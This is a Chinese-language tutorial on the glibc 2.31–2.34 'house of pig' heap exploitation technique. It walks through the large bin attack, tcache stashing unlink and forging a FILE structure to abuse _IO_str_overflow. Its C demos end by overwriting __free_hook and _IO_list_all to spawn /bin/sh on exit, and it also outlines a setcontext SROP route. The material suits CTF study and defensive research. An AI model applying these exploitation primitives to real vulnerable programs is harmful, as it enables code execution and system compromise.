使用版本
2.31-2.34
满足条件:
1.可以通过large bin attack或者其他 来覆盖_IO_list_all为堆地址 并且伪造IO_file
2.存在calloc函数 因为一般用到pig 是通过malloc memcpy free来进行的
3.存在tcache_stashing unlink
前置知识学习:2.31版本后的large bin attack的利用,tcache_stashing unlink的原理,高版本下IO的攻击思路
2.31下large bin attack利用
利用条件:
1.libc版本:2.31-2.35
2.漏洞利用条件:
1.可以分配两个不同大小的chunk 一个到unsorted bin 一个到largebin 且从unsorted bin 进入large bin的chunk的size要小于原large bin的size
2.可以通过uaf 或者 溢出漏洞去修改,chunk的bk_nextsize为target_addr-0x20
实现效果:
往目标值中写入一个chunk的地址值
漏洞原理:
贴一下glibc2.31的源码
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
我们可以看到在2.30版本后新增了两个check
#check 1:
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)\n");
#check 2:
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
printf("This prevents the traditional large bin attack\n");
所以相比较起来 我们的攻击思路也就是核心代码也改变了,相当于换了一条攻击路径:
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
转变为这条路径:
已知:
largebin1=p1,largebin2=p2(大的那个)
fwd->fd=p2,bck=p2,p2->bk_nextsize=target-0x20
由
fwd->fd->bk_nextsize=victim->bk_nextsize->fd_nextsize=victim
==>victim->bk_nextsize->fd_nextsize=victim
且: victim->bk_nextsize = fwd->fd->bk_nextsize;
==>fwd->fd->bk_nextsize->fd_nextsize=victim
==>p2->bk_nextsize->fd_nextsize=victim
==>target-0x20 ->fd_nextsize=victim
==>target=victim
也就是导致下图的这两个效果
测试demo:
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
int main(){
size_t target = 0;
size_t *p1 = malloc(0x428);
size_t *g1 = malloc(0x18);
size_t *p2 = malloc(0x418);
size_t *g2 = malloc(0x18);
free(p1);
size_t *g3 = malloc(0x438);
free(p2);
p1[3] = (size_t)((&target)-4);
size_t *g4 = malloc(0x438);
assert((size_t)(p2-2) == target);
return 0;
}
tcache_stashing unlink部分
tcache_stashing unlink+
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
//victim就是要脱链的堆块,也就是small bin里的最后一个
//这个if在判断我们所需要的size的那条small bin链上是否存在堆块,存在的话就把victim给脱链
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))//对small bin的双向链表的完整性做了检查,确保victim->bk->fd指向的还是victim
//如果我们在这里劫持了victim的bk指针,就会导致bck的fd指向的并不是victim,从而触发异常
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);//设置下一个(高地址)chunk的prev_inuse位
bin->bk = bck;//将victim脱链
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);//获取size对应的tcache索引
if (tcache && tc_idx < mp_.tcache_bins)//如果这个索引在tcache bin的范围里,也就是这个size属于tcache bin的范围
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count//如果tcache bin没有满
&& (tc_victim = last (bin)) != bin)//如果small bin不为空,tc_victim为small bin中的最后一个堆块
{
if (tc_victim != 0)
{
bck = tc_victim->bk;//这里取tc_victim的bk指针,并没有针对bck做双向链表完整性检查,因此我们可以去攻击tc_victim的bk指针
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;//将tc_victim从small bin中脱链
bck->fd = bin;//如果我们伪造bck,这里就可以将bck->fd的位置写入一个bin的地址(main_arena+96)
tcache_put (tc_victim, tc_idx);//将tc_victim链入tc_idx这条链
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
bck->fd = bin;
这句代码可以达到和 Unsortedbin Attack 类似的效果,可以将一个 main_arena 中的地址(bin)写入指定位置(bck->fd)
攻击条件
-
将一个任意地址当做堆块放入到 tcache 中。
- 选定一个 n = size,释放五个大小为 n 的堆块进入到 tcache bin
- 精心准备让一个堆块进入到 unsorted bin 中,同时修改这个堆块的 size 变为 n,再让其进入到 small bin 中。
- 再重复构造一个同样 size 为 n 的堆块进入 small bin 后,修改该堆块的 bk 指针为 &target - 0x10
- 在 &target + 8 的位置要存放有任意一个可写的地址,满足检查。
- 使用 calloc 申请一个 size 为 n 的堆块
- 此时 target 将被放入 tcache 中。
注:被修改 bk 指针的堆块,fd 是不能被改变的,所以需要获取到堆地址。
demo调试
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
static uint64_t victim[4] = {0, 0, 0, 0};
int main(int argc, char **argv){
setbuf(stdout, 0);
setbuf(stderr, 0);
char *t1;
char *s1, *s2, *pad;
char *tmp;
tmp = malloc(0x1);
victim[1] = (uint64_t)(&victim);
for(int i=0; i<5; i++){
t1 = calloc(1, 0x50);
free(t1);
}
s1 = malloc(0x420);
pad = malloc(0x20);
free(s1);
malloc(0x3c0);
malloc(0x100);
s2 = malloc(0x420);
pad = malloc(0x80);
free(s2);
malloc(0x3c0);
malloc(0x100);
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
calloc(1, 0x50);
uint64_t *r = (uint64_t*)malloc(0x50);
r[0] = 0xaa;
r[1] = 0xbb;
r[2] = 0xcc;
r[3] = 0xdd;
return 0;
}
整个程序流程:通过calloc和malloc加切割unsorted bin结合 来构造五个tcache和两个small bin 并且修改第二个small bin的bk为target -0x10的情况
修改smallbin的bk为target-0x10
然后calloc申请绕过tcache 得到堆块 然后进入stash
然后再通过malloc取出 实现任意写的功能:
tcache_stashing unlink++
将一个任意地址当做堆块放入到 tcache 中,同时可以往一个任意地址写入一个 libc 地址。
- 选定一个 n = size,释放五个大小为 n 的堆块进入到 tcache bin;
- 精心准备让一个堆块进入到 unsorted bin 中,同时使得这个堆块的 size 变为 n,再让其进入到 small bin 中;
- 再重复构造一个同样 size 为 n 的堆块进入 small bin 后,修改该堆块的 bk 指针为 &target1 - 0x10;
- 在 &target1 + 8 的位置填写 &target2 - 0x10;
- 使用 calloc 申请一个 size 为 n 的堆块;
- 此时 target1 将被放入 tcache 中,同时对 target2 写入一个 libc 地址。
注:被修改 bk 指针的堆块,fd 是不能被改变的,所以需要获取到堆地址。
这个整体攻击思路都没啥变化,就是再任意写的基础上 加了一个可利用的点,把target2的位置设为libc就是main_arena+?的值
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
static uint64_t victim[4] = {0, 0, 0, 0};
static uint64_t victim2 = 0;
int main(int argc, char **argv) {
setbuf(stdout, 0);
setbuf(stderr, 0);
char *t1;
char *s1, *s2, *pad;
char *tmp;
tmp = malloc(0x1);
victim[1] = (uint64_t)(&victim2)-0x10;
for (int i=0; i<5; i++) {
t1 = calloc(1, 0x50);
free(t1);
}
s1 = malloc(0x420);
pad = malloc(0x20);
free(s1);
malloc(0x3c0);
malloc(0x100);
s2 = malloc(0x420);
pad = malloc(0x80);
free(s2);
malloc(0x3c0);
malloc(0x100);
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
calloc(1, 0x50);
uint64_t *r = (uint64_t*)malloc(0x50);
r[0] = 0xaa;
r[1] = 0xbb;
r[2] = 0xcc;
r[3] = 0xdd;
return 0;
}
漏洞利用后
既可以任意写,也可以把这个target2覆盖为libc
IO_FILE 利用
在2.23下一般攻击FILE结构体就是劫持IO函数的_chain字段为我们伪造的IO_FILE_plus,然后修改vtable表中的io_str_overflow为system。在高版本libc下,如libc2.31下也依然是利用io_str_overflow这个函数,但io_str_overflow函数的实现发生了变化
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
malloc的参数new_size
size_t new_size = 2 * old_blen + 100;
size_t old_blen = _IO_blen (fp);
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
house of pig
如果我们能控制(fp)->_IO_buf_end - (fp)->_IO_buf_base
就能够控制malloc申请的chunk大小,再看到后面这一段
if (old_buf)//char *old_buf = fp->_IO_buf_base;
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
如果old_buf存在内容的情况下,会把old_buf的值复制到new_buf中然后free(old_buf)
但是这里还要满足这个条件:
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
pos的值也要设置 也就是设置_IO_write_base为0xffffffff就能保证能进入if语句里面
然后看_IO_str_overflow的汇编代码 在+53的位置有一个mov rdx,qword ptr[rdi + 0x28] 可以劫持rdx 从libc2.29开始,setcontext中的gadget索引由rdi变为了rdx,需要先控制rdx的值才能够进行后续的srop,所以我们的利用办法就是
首先将malloc_hook设置为setcontext+61,然后触发_IO_str_overflow
,事先在我们伪造的FILE结构体中设置好相应的数据,从而将rdx赋值为我们可以控制的地址,接着_IO_str_overflow
调用malloc触发setcontext,进行srop。
下面通过一个demo来研究io链
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
// 辅助:定义颜色和修饰符
#define YELLOW "33"
#define GREEN "32"
#define RED "31"
#define BLUE "34"
#define PURPLE "35"
#define HIGHLIGHT "1"
#define STR_END "\033[0m"
// 辅助:定义 printf_color 函数,用于打印彩色文本
void printf_color(const char *color, const char *highlight, const char *format, ...) {
va_list args;
va_start(args, format);
printf("\033[%s;%sm", highlight, color);
vprintf(format, args);
printf(STR_END);
va_end(args);
}
int main() {
// 步骤1:计算 libc 基地址
size_t libc_base = 0x7ffff7dd5000;
printf_color(YELLOW, HIGHLIGHT, "libc的加载地址为:");
printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n" STR_END, libc_base);
// 步骤2:分配一个chunk来获得堆地址
printf_color(GREEN, NULL, "通过分配一个chunk(大小为0x500)来获得一个堆地址。\n");
size_t chunk_1 = (size_t)malloc(0x4F0) - 0x10;
printf_color(YELLOW, HIGHLIGHT, "获得堆地址为这个chunk的起始地址:");
printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n\n" STR_END, chunk_1);
// 步骤3:__free_hook 设置
printf_color(RED, HIGHLIGHT, "通过large bin attack或其他方法将__free_hook附近写上一个堆地址。\n");
printf_color(GREEN, NULL, "为了方便起见,本程序直接对__free_hook附近地址进行修改。\n");
printf_color(GREEN, NULL, "在实际应用中,需要维护好这个堆地址,在后面的步骤中还会用到。\n");
printf_color(PURPLE, HIGHLIGHT, "这里在__free_hook-0x10处写入刚才获得的堆地址。\n");
size_t __free_hook = 0x7fffffffe1a8;
printf_color(YELLOW, HIGHLIGHT, "__free_hook的地址为:");
printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n" STR_END, __free_hook);
*(size_t*)(__free_hook - 0x8) = chunk_1;
printf_color(BLUE, HIGHLIGHT, "已在__free_hook-0x10处写入堆地址。\n\n");
// 步骤4:修改 _IO_list_all 为堆地址
printf_color(RED, HIGHLIGHT, "通过large bin attack或其他方法向_IO_list_all写入一个堆地址。\n");
size_t _IO_list_all = 0x7fffffffe1b0;
printf_color(GREEN, NULL, "_IO_list_all的原本地址为:");
printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n" STR_END, _IO_list_all);
size_t chunk_2 = (size_t)calloc(1, 0xF0) - 0x10;
*(size_t*)_IO_list_all = chunk_2;
printf_color(YELLOW, HIGHLIGHT, "这个chunk的起始地址为:");
printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n" STR_END, chunk_2);
// 步骤5:伪造 FILE 结构体
printf_color(RED, HIGHLIGHT, "伪造 FILE 结构体。\n");
printf_color(GREEN, NULL, "通过第二次分配到的chunk作为假FILE结构体进行构造。\n");
size_t* fake_FILE = (size_t*)chunk_2;
fake_FILE[0xC0 / 8] = 0; // _mode
fake_FILE[0x28 / 8] = 0xfffffffffff; // _IO_write_ptr
fake_FILE[0x30 / 8] = 0; // _IO_write_base
size_t _IO_str_jumps = libc_base + 0x1E9560;
fake_FILE[0xD8 / 8] = _IO_str_jumps;
fake_FILE[0x38 / 8] = chunk_1 + 0x20;
fake_FILE[0x40 / 8] = chunk_1 + 0x20 + 0x46;
strcpy((char*)(chunk_1 + 0x20), "/bin/sh");
*(size_t*)(chunk_1 + 0x20 + 0x10) = (size_t)system;
// 步骤6:模拟具体攻击流程:tcache stashing unlink attack
printf_color(RED, HIGHLIGHT, "第五步:通过tcache stashing unlink attack在tcache写入__free_hook附近地址。\n");
void* chunks[9];
for (int i = 0; i < 7; i++)
chunks[i] = malloc(0xF0);
malloc(0x20); // to avoid consolidate
chunks[7] = malloc(0xF0);
malloc(0x20); // to avoid consolidate
chunks[8] = malloc(0xF0);
malloc(0x20); // to avoid consolidate
for (int i = 0; i < 9; i++)
free(chunks[i]);
malloc(0xF0);
malloc(0xF0);
malloc(0x100);
*(size_t*)((size_t)(chunks[8]) + 0x8) = __free_hook - 0x20;
calloc(1, 0xF0);
printf_color(GREEN, NULL, "已写入__free_hook附近地址。\n\n");
// 步骤7:调用 exit 函数触发漏洞利用
printf_color(RED, HIGHLIGHT, "调用 exit 函数触发house of pig漏洞,获取shell。\n");
exit(-1);
return 0;
}
这个demo模拟了以下漏洞
1.泄露libc和heap地址
2.构造出largebin,泄露libc地址和heap地址,进行第一次largebin attack,将free_hook-0x8的位置写上一个堆地址,使得tcache_stashing_unlink plus的条件成立
3.为tcache_stashing_unlink plus做好准备,往一个tcache链中放入五个chunk,再往同样大小的smallbin中放入两个chunk,
4.进行tcache_stashing_unlink ,将free_hook-0x10作为一个堆地址链入tcache头,但由于使用calloc,我们无法申请到这个chunk
4.进行第二次largebin attack,将_io_list_all
覆盖成一个堆地址,我们在这个堆上伪造IO_FILE,伪造的FILE结构体需要满足要求以调用malloc来申请tcache中的chunk,也就是我们要使2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100
=free_hook所在的那个tcache链的大小,并且还要修改vtable
指针,vtable
原本指向IO_file_jumps
,将其修改为指向_IO_str_jumps
,原本应该调用 IO_file_overflow
的时候,就会转而调用如下的 IO_str_overflow
,这样一来就能够进而调用malloc申请到free_hook-0x10
处的空间,而如果_IO_buf_base
指向的空间有数据的话,还会将其中的数据拷贝到malloc申请的chunk中,所以我们可以在IO_buf_base
指向的空间布置好/bin/sh和system的地址,这样一来就被被memcpy到free_hook-0x10
处,IO_str_overflow
在最后还会free掉IO_buf_base
指向的chunk,这样就会触发system('/bin/sh')
getshell
动态调试看house of pig前置满足条件
large bin attack的过程就不说了
tcache_stashing unlink
执行后
成功挂入 但由于我们这里是calloc无法取出,就只能通过house of pig 进入io链条 执行malloc函数 取出后覆盖free_hook函数
IO部分分析
exit->_IO_cleanup->_IO_flush_all_lockp->_IO_str_overflow
这里针对伪造的结构体,如何伪造的进行分析
fake_FILE[0xC0 / 8] = 0; // _mode
fake_FILE[0x28 / 8] = 0xfffffffffff; // _IO_write_ptr
fake_FILE[0x30 / 8] = 0; // _IO_write_base
size_t _IO_str_jumps = libc_base + 0x1E9560; //vtable
fake_FILE[0xD8 / 8] = _IO_str_jumps;
fake_FILE[0x38 / 8] = chunk_1 + 0x20;//_IO_buf_base
fake_FILE[0x40 / 8] = chunk_1 + 0x20 + 0x46;//_IO_buf_end
size_t _IO_str_jumps = libc_base + 0x1E9560; //vtable
► 0x7ffff7e6acaf <_IO_flush_all_lockp+255> call qword ptr [rax + 0x18] <_IO_str_overflow>
RAX 0x7ffff7fc2560 (_IO_str_jumps) ◂— 0
这里是通过覆盖vtable劫持程序流进入IO_str_overflow
fake_FILE[0x28 / 8] = 0xfffffffffff; // _IO_write_ptr
fake_FILE[0x30 / 8] = 0; // _IO_write_base
fake_FILE[0x38 / 8] = chunk_1 + 0x20;//_IO_buf_base
fake_FILE[0x40 / 8] = chunk_1 + 0x20 + 0x46;//_IO_buf_end
define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
这里满足if的条件然后进入里面且fp->_flag要为0 不然会返回EOF
设置好malloc的size 也就是0x100-0x10(因为之前的tcache free_hook块是0x100)
old_buf 要存在值 然后就可以把old_buf的内容 赋值到new_buf 也就是我们从tcache取出的那个堆块中 就可以通过这个布置system
最后有一个free(old_buf)
getshell:
参考文献:
https://bbs.kanxue.com/thread-268245.htm#msg_header_h3_2
https://blog.csdn.net/qq_54218833/article/details/128575508